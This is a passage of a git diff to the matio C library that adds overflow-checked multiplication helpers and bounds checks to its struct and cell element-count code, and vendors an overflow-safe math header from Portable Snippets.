dset_id = H5Dopen(fid,matvar->internal->hdf5_name,H5P_DEFAULT);
@@ -2363,15 +2365,14 @@ Mat_VarRead73(mat_t *mat,matvar_t *matvar)
case MAT_C_STRUCT:
{
matvar_t **fields;
- size_t i, nfields = 0, numel = 1;
+ size_t i, nelems_x_nfields, nelems = 1;
if ( !matvar->internal->num_fields || NULL == matvar->data )
break;
- for ( k = 0; k < matvar->rank; k++ )
- numel *= matvar->dims[k];
- nfields = matvar->internal->num_fields;
+ SafeMulDims(matvar, &nelems);
+ SafeMul(&nelems_x_nfields, nelems, matvar->internal->num_fields);
fields = (matvar_t**)matvar->data;
- for ( i = 0; i < nfields*numel; i++ ) {
+ for ( i = 0; i < nelems_x_nfields; i++ ) {
if ( 0 < fields[i]->internal->hdf5_ref &&
-1 < fields[i]->internal->id ) {
/* Dataset of references */
@@ -2385,12 +2386,12 @@ Mat_VarRead73(mat_t *mat,matvar_t *matvar)
case MAT_C_CELL:
{
matvar_t **cells;
- size_t i, ncells = 0;
+ size_t i, nelems = 0;
- ncells = matvar->nbytes / matvar->data_size;
+ nelems = matvar->nbytes / matvar->data_size;
cells = (matvar_t**)matvar->data;
- for ( i = 0; i < ncells; i++ )
+ for ( i = 0; i < nelems; i++ )
Mat_H5ReadNextReferenceData(cells[i]->internal->id,cells[i],mat);
break;
}
@@ -2409,11 +2410,11 @@ Mat_VarRead73(mat_t *mat,matvar_t *matvar)
if ( H5Lexists(dset_id,"ir",H5P_DEFAULT) ) {
size_t *dims;
- hsize_t numel;
+ hsize_t nelems;
int rank;
sparse_dset_id = H5Dopen(dset_id,"ir",H5P_DEFAULT);
- dims = Mat_H5ReadDims(sparse_dset_id, &numel, &rank);
+ dims = Mat_H5ReadDims(sparse_dset_id, &nelems, &rank);
if ( NULL != dims ) {
sparse_data->nir = dims[0];
free(dims);
@@ -2427,11 +2428,11 @@ Mat_VarRead73(mat_t *mat,matvar_t *matvar)
if ( H5Lexists(dset_id,"jc",H5P_DEFAULT) ) {
size_t *dims;
- hsize_t numel;
+ hsize_t nelems;
int rank;
sparse_dset_id = H5Dopen(dset_id,"jc",H5P_DEFAULT);
- dims = Mat_H5ReadDims(sparse_dset_id, &numel, &rank);
+ dims = Mat_H5ReadDims(sparse_dset_id, &nelems, &rank);
if ( NULL != dims ) {
sparse_data->njc = dims[0];
free(dims);
@@ -2445,11 +2446,11 @@ Mat_VarRead73(mat_t *mat,matvar_t *matvar)
if ( H5Lexists(dset_id,"data",H5P_DEFAULT) ) {
size_t *dims;
- hsize_t numel;
+ hsize_t nelems;
int rank;
sparse_dset_id = H5Dopen(dset_id,"data",H5P_DEFAULT);
- dims = Mat_H5ReadDims(sparse_dset_id, &numel, &rank);
+ dims = Mat_H5ReadDims(sparse_dset_id, &nelems, &rank);
if ( NULL != dims ) {
size_t ndata_bytes;
sparse_data->nzmax = dims[0];
diff --git a/src/matio_private.h b/src/matio_private.h
index ade410c3..1ef3ca53 100644
--- a/src/matio_private.h
+++ b/src/matio_private.h
@@ -225,5 +225,7 @@ EXTERN size_t InflateFieldNames(mat_t *mat,matvar_t *matvar,void *buf,int nfield
/* mat.c */
EXTERN mat_complex_split_t *ComplexMalloc(size_t nbytes);
EXTERN enum matio_types ClassType2DataType(enum matio_classes class_type);
+EXTERN int SafeMul(size_t* res, size_t a, size_t b);
+EXTERN int SafeMulDims(const matvar_t *matvar, size_t* nelems);
#endif
diff --git a/src/matvar_cell.c b/src/matvar_cell.c
index 08a78490..d631a37c 100644
--- a/src/matvar_cell.c
+++ b/src/matvar_cell.c
@@ -40,16 +40,15 @@
matvar_t *
Mat_VarGetCell(matvar_t *matvar,int index)
{
- int nmemb = 1, i;
+ size_t nelems = 1;
matvar_t *cell = NULL;
if ( matvar == NULL )
return NULL;
- for ( i = 0; i < matvar->rank; i++ )
- nmemb *= matvar->dims[i];
+ SafeMulDims(matvar, &nelems);
- if ( index < nmemb )
+ if ( 0 <= index && index < nelems )
cell = *((matvar_t **)matvar->data + index);
return cell;
@@ -167,17 +166,15 @@ Mat_VarGetCellsLinear(matvar_t *matvar,int start,int stride,int edge)
matvar_t *
Mat_VarSetCell(matvar_t *matvar,int index,matvar_t *cell)
{
- int nmemb = 1, i;
+ size_t nelems = 1;
matvar_t **cells, *old_cell = NULL;
if ( matvar == NULL || matvar->rank < 1 )
return NULL;
- for ( i = 0; i < matvar->rank; i++ )
- nmemb *= matvar->dims[i];
-
+ SafeMulDims(matvar, &nelems);
cells = (matvar_t**)matvar->data;
- if ( index < nmemb ) {
+ if ( 0 <= index && index < nelems ) {
old_cell = cells[index];
cells[index] = cell;
}
diff --git a/src/matvar_struct.c b/src/matvar_struct.c
index 8e0779a5..53ec52c4 100644
--- a/src/matvar_struct.c
+++ b/src/matvar_struct.c
@@ -45,7 +45,7 @@ matvar_t *
Mat_VarCreateStruct(const char *name,int rank,size_t *dims,const char **fields,
unsigned nfields)
{
- size_t nmemb = 1;
+ size_t nelems = 1;
int j;
matvar_t *matvar;
@@ -63,7 +63,7 @@ Mat_VarCreateStruct(const char *name,int rank,size_t *dims,const char **fields,
matvar->dims = (size_t*)malloc(matvar->rank*sizeof(*matvar->dims));
for ( j = 0; j < matvar->rank; j++ ) {
matvar->dims[j] = dims[j];
- nmemb *= dims[j];
+ nelems *= dims[j];
}
matvar->class_type = MAT_C_STRUCT;
matvar->data_type = MAT_T_STRUCT;
@@ -89,14 +89,11 @@ Mat_VarCreateStruct(const char *name,int rank,size_t *dims,const char **fields,
}
}
}
- if ( NULL != matvar && nmemb > 0 ) {
- size_t i;
- matvar_t **field_vars;
- matvar->nbytes = nmemb*nfields*matvar->data_size;
- matvar->data = malloc(matvar->nbytes);
- field_vars = (matvar_t**)matvar->data;
- for ( i = 0; i < nfields*nmemb; i++ )
- field_vars[i] = NULL;
+ if ( NULL != matvar && nelems > 0 ) {
+ size_t nelems_x_nfields;
+ SafeMul(&nelems_x_nfields, nelems, nfields);
+ SafeMul(&matvar->nbytes, nelems_x_nfields, matvar->data_size);
+ matvar->data = calloc(nelems_x_nfields, matvar->data_size);
}
}
@@ -116,17 +113,14 @@ Mat_VarCreateStruct(const char *name,int rank,size_t *dims,const char **fields,
int
Mat_VarAddStructField(matvar_t *matvar,const char *fieldname)
{
- int j, cnt = 0;
- size_t i, nfields, nmemb;
+ int cnt = 0;
+ size_t i, nfields, nelems = 1;
matvar_t **new_data, **old_data;
char **fieldnames;
if ( matvar == NULL || fieldname == NULL )
return -1;
- nmemb = 1;
- for ( j = 0; j < matvar->rank; j++ )
- nmemb *= matvar->dims[j];
-
+ SafeMulDims(matvar, &nelems);
nfields = matvar->internal->num_fields+1;
matvar->internal->num_fields = nfields;
fieldnames = (char**)realloc(matvar->internal->fieldnames,
@@ -136,12 +130,19 @@ Mat_VarAddStructField(matvar_t *matvar,const char *fieldname)
matvar->internal->fieldnames = fieldnames;
matvar->internal->fieldnames[nfields-1] = strdup(fieldname);
- new_data = (matvar_t**)malloc(nfields*nmemb*sizeof(*new_data));
- if ( new_data == NULL )
+ {
+ size_t nelems_x_nfields;
+ SafeMul(&nelems_x_nfields, nelems, nfields);
+ SafeMul(&matvar->nbytes, nelems_x_nfields, sizeof(*new_data));
+ }
+ new_data = (matvar_t**)malloc(matvar->nbytes);
+ if ( new_data == NULL ) {
+ matvar->nbytes = 0;
return -1;
+ }
old_data = (matvar_t**)matvar->data;
- for ( i = 0; i < nmemb; i++ ) {
+ for ( i = 0; i < nelems; i++ ) {
size_t f;
for ( f = 0; f < nfields-1; f++ )
new_data[cnt++] = old_data[i*(nfields-1)+f];
@@ -150,7 +151,6 @@ Mat_VarAddStructField(matvar_t *matvar,const char *fieldname)
free(matvar->data);
matvar->data = new_data;
- matvar->nbytes = nfields*nmemb*sizeof(*new_data);
return 0;
}
@@ -206,21 +206,17 @@ Mat_VarGetStructFieldnames(const matvar_t *matvar)
matvar_t *
Mat_VarGetStructFieldByIndex(matvar_t *matvar,size_t field_index,size_t index)
{
- int i;
matvar_t *field = NULL;
- size_t nmemb, nfields;
+ size_t nelems = 1, nfields;
- if ( matvar == NULL || matvar->class_type != MAT_C_STRUCT ||
+ if ( matvar == NULL || matvar->class_type != MAT_C_STRUCT ||
matvar->data_size == 0 )
return field;
- nmemb = 1;
- for ( i = 0; i < matvar->rank; i++ )
- nmemb *= matvar->dims[i];
-
+ SafeMulDims(matvar, &nelems);
nfields = matvar->internal->num_fields;
- if ( nmemb > 0 && index >= nmemb ) {
+ if ( nelems > 0 && index >= nelems ) {
Mat_Critical("Mat_VarGetStructField: structure index out of bounds");
} else if ( nfields > 0 ) {
if ( field_index > nfields ) {
@@ -248,16 +244,13 @@ Mat_VarGetStructFieldByName(matvar_t *matvar,const char *field_name,
{
int i, nfields, field_index;
matvar_t *field = NULL;
- size_t nmemb;
+ size_t nelems = 1;
if ( matvar == NULL || matvar->class_type != MAT_C_STRUCT ||
matvar->data_size == 0 )
return field;
- nmemb = 1;
- for ( i = 0; i < matvar->rank; i++ )
- nmemb *= matvar->dims[i];
-
+ SafeMulDims(matvar, &nelems);
nfields = matvar->internal->num_fields;
field_index = -1;
for ( i = 0; i < nfields; i++ ) {
@@ -267,7 +260,7 @@ Mat_VarGetStructFieldByName(matvar_t *matvar,const char *field_name,
}
}
- if ( index >= nmemb ) {
+ if ( index >= nelems ) {
Mat_Critical("Mat_VarGetStructField: structure index out of bounds");
} else if ( field_index >= 0 ) {
field = *((matvar_t **)matvar->data+index*nfields+field_index);
@@ -292,16 +285,13 @@ Mat_VarGetStructFieldByName(matvar_t *matvar,const char *field_name,
matvar_t *
Mat_VarGetStructField(matvar_t *matvar,void *name_or_index,int opt,int index)
{
- int i, err = 0, nfields, nmemb;
+ int err = 0, nfields;
matvar_t *field = NULL;
+ size_t nelems = 1;
- nmemb = 1;
- for ( i = 0; i < matvar->rank; i++ )
- nmemb *= matvar->dims[i];
-
+ SafeMulDims(matvar, &nelems);
nfields = matvar->internal->num_fields;
-
- if ( index < 0 || (nmemb > 0 && index >= nmemb ))
+ if ( index < 0 || (nelems > 0 && index >= nelems ))
err = 1;
else if ( nfields < 1 )
err = 1;
@@ -495,21 +485,17 @@ matvar_t *
Mat_VarSetStructFieldByIndex(matvar_t *matvar,size_t field_index,size_t index,
matvar_t *field)
{
- int i;
matvar_t *old_field = NULL;
- size_t nmemb, nfields;
+ size_t nelems = 1, nfields;
if ( matvar == NULL || matvar->class_type != MAT_C_STRUCT ||
matvar->data == NULL )
return old_field;
- nmemb = 1;
- for ( i = 0; i < matvar->rank; i++ )
- nmemb *= matvar->dims[i];
-
+ SafeMulDims(matvar, &nelems);
nfields = matvar->internal->num_fields;
- if ( index < nmemb && field_index < nfields ) {
+ if ( index < nelems && field_index < nfields ) {
matvar_t **fields = (matvar_t**)matvar->data;
old_field = fields[index*nfields+field_index];
fields[index*nfields+field_index] = field;
@@ -539,16 +525,13 @@ Mat_VarSetStructFieldByName(matvar_t *matvar,const char *field_name,
{
int i, nfields, field_index;
matvar_t *old_field = NULL;
- size_t nmemb;
+ size_t nelems = 1;
if ( matvar == NULL || matvar->class_type != MAT_C_STRUCT ||
matvar->data == NULL )
return old_field;
- nmemb = 1;
- for ( i = 0; i < matvar->rank; i++ )
- nmemb *= matvar->dims[i];
-
+ SafeMulDims(matvar, &nelems);
nfields = matvar->internal->num_fields;
field_index = -1;
for ( i = 0; i < nfields; i++ ) {
@@ -558,7 +541,7 @@ Mat_VarSetStructFieldByName(matvar_t *matvar,const char *field_name,
}
}
- if ( index < nmemb && field_index >= 0 ) {
+ if ( index < nelems && field_index >= 0 ) {
matvar_t **fields = (matvar_t**)matvar->data;
old_field = fields[index*nfields+field_index];
fields[index*nfields+field_index] = field;
diff --git a/src/safe-math.h b/src/safe-math.h
new file mode 100644
index 00000000..aca58b7c
--- /dev/null
+++ b/src/safe-math.h
@@ -0,0 +1,1045 @@
+/* Overflow-safe math functions
+ * Portable Snippets - https://gitub.com/nemequ/portable-snippets
+ * Created by Evan Nemerson <evan@nemerson.com>
+ *
+ * To the extent possible under law, the authors have waived all
+ * copyright and related or neighboring rights to this code. For
+ * details, see the Creative Commons Zero 1.0 Universal license at
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+#if !defined(PSNIP_SAFE_H)
+#define PSNIP_SAFE_H
+
+#if !defined(PSNIP_SAFE_FORCE_PORTABLE)
+# if defined(__has_builtin)
+# if __has_builtin(__builtin_add_overflow) && !defined(__ibmxl__)
+# define PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW
+# endif
+# elif defined(__GNUC__) && (__GNUC__ >= 5) && !defined(__INTEL_COMPILER)
+# define PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW
+# endif
+# if defined(__has_include)
+# if __has_include(<intsafe.h>)
+# define PSNIP_SAFE_HAVE_INTSAFE_H
+# endif
+# elif defined(_WIN32)
+# define PSNIP_SAFE_HAVE_INTSAFE_H
+# endif
+#endif /* !defined(PSNIP_SAFE_FORCE_PORTABLE) */
+
+#if defined(__GNUC__)
+# define PSNIP_SAFE_LIKELY(expr) __builtin_expect(!!(expr), 1)
+# define PSNIP_SAFE_UNLIKELY(expr) __builtin_expect(!!(expr), 0)
+#else
+# define PSNIP_SAFE_LIKELY(expr) !!(expr)
+# define PSNIP_SAFE_UNLIKELY(expr) !!(expr)
+#endif /* defined(__GNUC__) */
+
+#if !defined(PSNIP_SAFE_STATIC_INLINE)
+# if defined(__GNUC__)
+# define PSNIP_SAFE__COMPILER_ATTRIBUTES __attribute__((__unused__))
+# else
+# define PSNIP_SAFE__COMPILER_ATTRIBUTES
+# endif
+
+# if defined(HEDLEY_INLINE)
+# define PSNIP_SAFE__INLINE HEDLEY_INLINE
+# elif defined(__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
+# define PSNIP_SAFE__INLINE inline
+# elif defined(__GNUC_STDC_INLINE__)
+# define PSNIP_SAFE__INLINE __inline__
+# elif defined(_MSC_VER) && _MSC_VER >= 1200
+# define PSNIP_SAFE__INLINE __inline
+# else
+# define PSNIP_SAFE__INLINE
+# endif
+
+# define PSNIP_SAFE__FUNCTION PSNIP_SAFE__COMPILER_ATTRIBUTES static PSNIP_SAFE__INLINE
+#endif
+
+#if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
+# define psnip_safe_bool _Bool
+#else
+# define psnip_safe_bool int
+#endif
+
+#if !defined(PSNIP_SAFE_NO_FIXED)
+# if \
+ !defined(psnip_uint8_t) || !defined(psnip_int8_t) || \
+ !defined(psnip_uint16_t) || !defined(psnip_int16_t) || \
+ !defined(psnip_uint32_t) || !defined(psnip_int32_t) || \
+ !defined(psnip_uint64_t) || !defined(psnip_int64_t)
+# include "exact-int.h"
+#endif
+#endif /* !defined(PSNIP_SAFE_NO_FIXED) */
+#include <limits.h>
+#include <stdlib.h>
+
+#if !defined(PSNIP_SAFE_SIZE_MAX)
+# if defined(__SIZE_MAX__)
+# define PSNIP_SAFE_SIZE_MAX __SIZE_MAX__
+# elif defined(PSNIP_EXACT_INT_HAVE_STDINT)
+# include <stdint.h>
+# endif
+#endif
+
+#if defined(PSNIP_SAFE_SIZE_MAX)
+# define PSNIP_SAFE__SIZE_MAX_RT PSNIP_SAFE_SIZE_MAX
+#else
+# define PSNIP_SAFE__SIZE_MAX_RT (~((size_t) 0))
+#endif
+
+#if defined(PSNIP_SAFE_HAVE_INTSAFE_H)
+/* In VS 10, stdint.h and intsafe.h both define (U)INTN_MIN/MAX, which
+ triggers warning C4005 (level 1). */
+# if defined(_MSC_VER) && (_MSC_VER == 1600)
+# pragma warning(push)
+# pragma warning(disable:4005)
+# endif
+# include <intsafe.h>
+# if defined(_MSC_VER) && (_MSC_VER == 1600)
+# pragma warning(pop)
+# endif
+#endif /* defined(PSNIP_SAFE_HAVE_INTSAFE_H) */
+
+/* If there is a type larger than the one we're concerned with it's
+ * likely much faster to simply promote the operands, perform the
+ * requested operation, verify that the result falls within the
+ * original type, then cast the result back to the original type. */
+
+#if !defined(PSNIP_SAFE_NO_PROMOTIONS)
+
+#define PSNIP_SAFE_DEFINE_LARGER_BINARY_OP(T, name, op_name, op) \
+ PSNIP_SAFE__FUNCTION psnip_safe_##name##_larger \
+ psnip_safe_larger_##name##_##op_name (T a, T b) { \
+ return ((psnip_safe_##name##_larger) a) op ((psnip_safe_##name##_larger) b); \
+ }
+
+#define PSNIP_SAFE_DEFINE_LARGER_UNARY_OP(T, name, op_name, op) \
+ PSNIP_SAFE__FUNCTION psnip_safe_##name##_larger \
+ psnip_safe_larger_##name##_##op_name (T value) { \
+ return (op ((psnip_safe_##name##_larger) value)); \
+ }
+
+#define PSNIP_SAFE_DEFINE_LARGER_SIGNED_OPS(T, name) \
+ PSNIP_SAFE_DEFINE_LARGER_BINARY_OP(T, name, add, +) \
+ PSNIP_SAFE_DEFINE_LARGER_BINARY_OP(T, name, sub, -) \
+ PSNIP_SAFE_DEFINE_LARGER_BINARY_OP(T, name, mul, *) \
+ PSNIP_SAFE_DEFINE_LARGER_BINARY_OP(T, name, div, /) \
+ PSNIP_SAFE_DEFINE_LARGER_BINARY_OP(T, name, mod, %) \
+ PSNIP_SAFE_DEFINE_LARGER_UNARY_OP (T, name, neg, -)
+
+#define PSNIP_SAFE_DEFINE_LARGER_UNSIGNED_OPS(T, name) \
+ PSNIP_SAFE_DEFINE_LARGER_BINARY_OP(T, name, add, +) \
+ PSNIP_SAFE_DEFINE_LARGER_BINARY_OP(T, name, sub, -) \
+ PSNIP_SAFE_DEFINE_LARGER_BINARY_OP(T, name, mul, *) \
+ PSNIP_SAFE_DEFINE_LARGER_BINARY_OP(T, name, div, /) \
+ PSNIP_SAFE_DEFINE_LARGER_BINARY_OP(T, name, mod, %)
+
+#define PSNIP_SAFE_IS_LARGER(ORIG_MAX, DEST_MAX) ((DEST_MAX / ORIG_MAX) >= ORIG_MAX)
+
+#if defined(__GNUC__) && ((__GNUC__ >= 4) || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) && defined(__SIZEOF_INT128__) && !defined(__ibmxl__)
+#define PSNIP_SAFE_HAVE_128
+typedef __int128 psnip_safe_int128_t;
+typedef unsigned __int128 psnip_safe_uint128_t;
+#endif /* defined(__GNUC__) */
+
+#if !defined(PSNIP_SAFE_NO_FIXED)
+#define PSNIP_SAFE_HAVE_INT8_LARGER
+#define PSNIP_SAFE_HAVE_UINT8_LARGER
+typedef psnip_int16_t psnip_safe_int8_larger;
+typedef psnip_uint16_t psnip_safe_uint8_larger;
+
+#define PSNIP_SAFE_HAVE_INT16_LARGER
+typedef psnip_int32_t psnip_safe_int16_larger;
+typedef psnip_uint32_t psnip_safe_uint16_larger;
+
+#define PSNIP_SAFE_HAVE_INT32_LARGER
+typedef psnip_int64_t psnip_safe_int32_larger;
+typedef psnip_uint64_t psnip_safe_uint32_larger;
+
+#if defined(PSNIP_SAFE_HAVE_128)
+#define PSNIP_SAFE_HAVE_INT64_LARGER
+typedef psnip_safe_int128_t psnip_safe_int64_larger;
+typedef psnip_safe_uint128_t psnip_safe_uint64_larger;
+#endif /* defined(PSNIP_SAFE_HAVE_128) */
+#endif /* !defined(PSNIP_SAFE_NO_FIXED) */
+
+#define PSNIP_SAFE_HAVE_LARGER_SCHAR
+#if PSNIP_SAFE_IS_LARGER(SCHAR_MAX, SHRT_MAX)
+typedef short psnip_safe_schar_larger;
+#elif PSNIP_SAFE_IS_LARGER(SCHAR_MAX, INT_MAX)
+typedef int psnip_safe_schar_larger;
+#elif PSNIP_SAFE_IS_LARGER(SCHAR_MAX, LONG_MAX)
+typedef long psnip_safe_schar_larger;
+#elif PSNIP_SAFE_IS_LARGER(SCHAR_MAX, LLONG_MAX)
+typedef long long psnip_safe_schar_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(SCHAR_MAX, 0x7fff)
+typedef psnip_int16_t psnip_safe_schar_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(SCHAR_MAX, 0x7fffffffLL)
+typedef psnip_int32_t psnip_safe_schar_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(SCHAR_MAX, 0x7fffffffffffffffLL)
+typedef psnip_int64_t psnip_safe_schar_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && defined(PSNIP_SAFE_HAVE_128) && (SCHAR_MAX <= 0x7fffffffffffffffLL)
+typedef psnip_safe_int128_t psnip_safe_schar_larger;
+#else
+#undef PSNIP_SAFE_HAVE_LARGER_SCHAR
+#endif
+
+#define PSNIP_SAFE_HAVE_LARGER_UCHAR
+#if PSNIP_SAFE_IS_LARGER(UCHAR_MAX, USHRT_MAX)
+typedef unsigned short psnip_safe_uchar_larger;
+#elif PSNIP_SAFE_IS_LARGER(UCHAR_MAX, UINT_MAX)
+typedef unsigned int psnip_safe_uchar_larger;
+#elif PSNIP_SAFE_IS_LARGER(UCHAR_MAX, ULONG_MAX)
+typedef unsigned long psnip_safe_uchar_larger;
+#elif PSNIP_SAFE_IS_LARGER(UCHAR_MAX, ULLONG_MAX)
+typedef unsigned long long psnip_safe_uchar_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(UCHAR_MAX, 0xffffU)
+typedef psnip_uint16_t psnip_safe_uchar_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(UCHAR_MAX, 0xffffffffUL)
+typedef psnip_uint32_t psnip_safe_uchar_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(UCHAR_MAX, 0xffffffffffffffffULL)
+typedef psnip_uint64_t psnip_safe_uchar_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && defined(PSNIP_SAFE_HAVE_128) && (UCHAR_MAX <= 0xffffffffffffffffULL)
+typedef psnip_safe_uint128_t psnip_safe_uchar_larger;
+#else
+#undef PSNIP_SAFE_HAVE_LARGER_UCHAR
+#endif
+
+#if CHAR_MIN == 0 && defined(PSNIP_SAFE_HAVE_LARGER_UCHAR)
+#define PSNIP_SAFE_HAVE_LARGER_CHAR
+typedef psnip_safe_uchar_larger psnip_safe_char_larger;
+#elif CHAR_MIN < 0 && defined(PSNIP_SAFE_HAVE_LARGER_SCHAR)
+#define PSNIP_SAFE_HAVE_LARGER_CHAR
+typedef psnip_safe_schar_larger psnip_safe_char_larger;
+#endif
+
+#define PSNIP_SAFE_HAVE_LARGER_SHRT
+#if PSNIP_SAFE_IS_LARGER(SHRT_MAX, INT_MAX)
+typedef int psnip_safe_short_larger;
+#elif PSNIP_SAFE_IS_LARGER(SHRT_MAX, LONG_MAX)
+typedef long psnip_safe_short_larger;
+#elif PSNIP_SAFE_IS_LARGER(SHRT_MAX, LLONG_MAX)
+typedef long long psnip_safe_short_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(SHRT_MAX, 0x7fff)
+typedef psnip_int16_t psnip_safe_short_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(SHRT_MAX, 0x7fffffffLL)
+typedef psnip_int32_t psnip_safe_short_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(SHRT_MAX, 0x7fffffffffffffffLL)
+typedef psnip_int64_t psnip_safe_short_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && defined(PSNIP_SAFE_HAVE_128) && (SHRT_MAX <= 0x7fffffffffffffffLL)
+typedef psnip_safe_int128_t psnip_safe_short_larger;
+#else
+#undef PSNIP_SAFE_HAVE_LARGER_SHRT
+#endif
+
+#define PSNIP_SAFE_HAVE_LARGER_USHRT
+#if PSNIP_SAFE_IS_LARGER(USHRT_MAX, UINT_MAX)
+typedef unsigned int psnip_safe_ushort_larger;
+#elif PSNIP_SAFE_IS_LARGER(USHRT_MAX, ULONG_MAX)
+typedef unsigned long psnip_safe_ushort_larger;
+#elif PSNIP_SAFE_IS_LARGER(USHRT_MAX, ULLONG_MAX)
+typedef unsigned long long psnip_safe_ushort_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(USHRT_MAX, 0xffff)
+typedef psnip_uint16_t psnip_safe_ushort_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(USHRT_MAX, 0xffffffffUL)
+typedef psnip_uint32_t psnip_safe_ushort_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(USHRT_MAX, 0xffffffffffffffffULL)
+typedef psnip_uint64_t psnip_safe_ushort_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && defined(PSNIP_SAFE_HAVE_128) && (USHRT_MAX <= 0xffffffffffffffffULL)
+typedef psnip_safe_uint128_t psnip_safe_ushort_larger;
+#else
+#undef PSNIP_SAFE_HAVE_LARGER_USHRT
+#endif
+
+#define PSNIP_SAFE_HAVE_LARGER_INT
+#if PSNIP_SAFE_IS_LARGER(INT_MAX, LONG_MAX)
+typedef long psnip_safe_int_larger;
+#elif PSNIP_SAFE_IS_LARGER(INT_MAX, LLONG_MAX)
+typedef long long psnip_safe_int_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(INT_MAX, 0x7fff)
+typedef psnip_int16_t psnip_safe_int_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(INT_MAX, 0x7fffffffLL)
+typedef psnip_int32_t psnip_safe_int_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(INT_MAX, 0x7fffffffffffffffLL)
+typedef psnip_int64_t psnip_safe_int_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && defined(PSNIP_SAFE_HAVE_128) && (INT_MAX <= 0x7fffffffffffffffLL)
+typedef psnip_safe_int128_t psnip_safe_int_larger;
+#else
+#undef PSNIP_SAFE_HAVE_LARGER_INT
+#endif
+
+#define PSNIP_SAFE_HAVE_LARGER_UINT
+#if PSNIP_SAFE_IS_LARGER(UINT_MAX, ULONG_MAX)
+typedef unsigned long psnip_safe_uint_larger;
+#elif PSNIP_SAFE_IS_LARGER(UINT_MAX, ULLONG_MAX)
+typedef unsigned long long psnip_safe_uint_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(UINT_MAX, 0xffff)
+typedef psnip_uint16_t psnip_safe_uint_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(UINT_MAX, 0xffffffffUL)
+typedef psnip_uint32_t psnip_safe_uint_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(UINT_MAX, 0xffffffffffffffffULL)
+typedef psnip_uint64_t psnip_safe_uint_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && defined(PSNIP_SAFE_HAVE_128) && (UINT_MAX <= 0xffffffffffffffffULL)
+typedef psnip_safe_uint128_t psnip_safe_uint_larger;
+#else
+#undef PSNIP_SAFE_HAVE_LARGER_UINT
+#endif
+
+#define PSNIP_SAFE_HAVE_LARGER_LONG
+#if PSNIP_SAFE_IS_LARGER(LONG_MAX, LLONG_MAX)
+typedef long long psnip_safe_long_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(LONG_MAX, 0x7fff)
+typedef psnip_int16_t psnip_safe_long_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(LONG_MAX, 0x7fffffffLL)
+typedef psnip_int32_t psnip_safe_long_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(LONG_MAX, 0x7fffffffffffffffLL)
+typedef psnip_int64_t psnip_safe_long_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && defined(PSNIP_SAFE_HAVE_128) && (LONG_MAX <= 0x7fffffffffffffffLL)
+typedef psnip_safe_int128_t psnip_safe_long_larger;
+#else
+#undef PSNIP_SAFE_HAVE_LARGER_LONG
+#endif
+
+#define PSNIP_SAFE_HAVE_LARGER_ULONG
+#if PSNIP_SAFE_IS_LARGER(ULONG_MAX, ULLONG_MAX)
+typedef unsigned long long psnip_safe_ulong_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(ULONG_MAX, 0xffff)
+typedef psnip_uint16_t psnip_safe_ulong_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(ULONG_MAX, 0xffffffffUL)
+typedef psnip_uint32_t psnip_safe_ulong_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(ULONG_MAX, 0xffffffffffffffffULL)
+typedef psnip_uint64_t psnip_safe_ulong_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && defined(PSNIP_SAFE_HAVE_128) && (ULONG_MAX <= 0xffffffffffffffffULL)
+typedef psnip_safe_uint128_t psnip_safe_ulong_larger;
+#else
+#undef PSNIP_SAFE_HAVE_LARGER_ULONG
+#endif
+
+#define PSNIP_SAFE_HAVE_LARGER_LLONG
+#if !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(LLONG_MAX, 0x7fff)
+typedef psnip_int16_t psnip_safe_llong_larger;
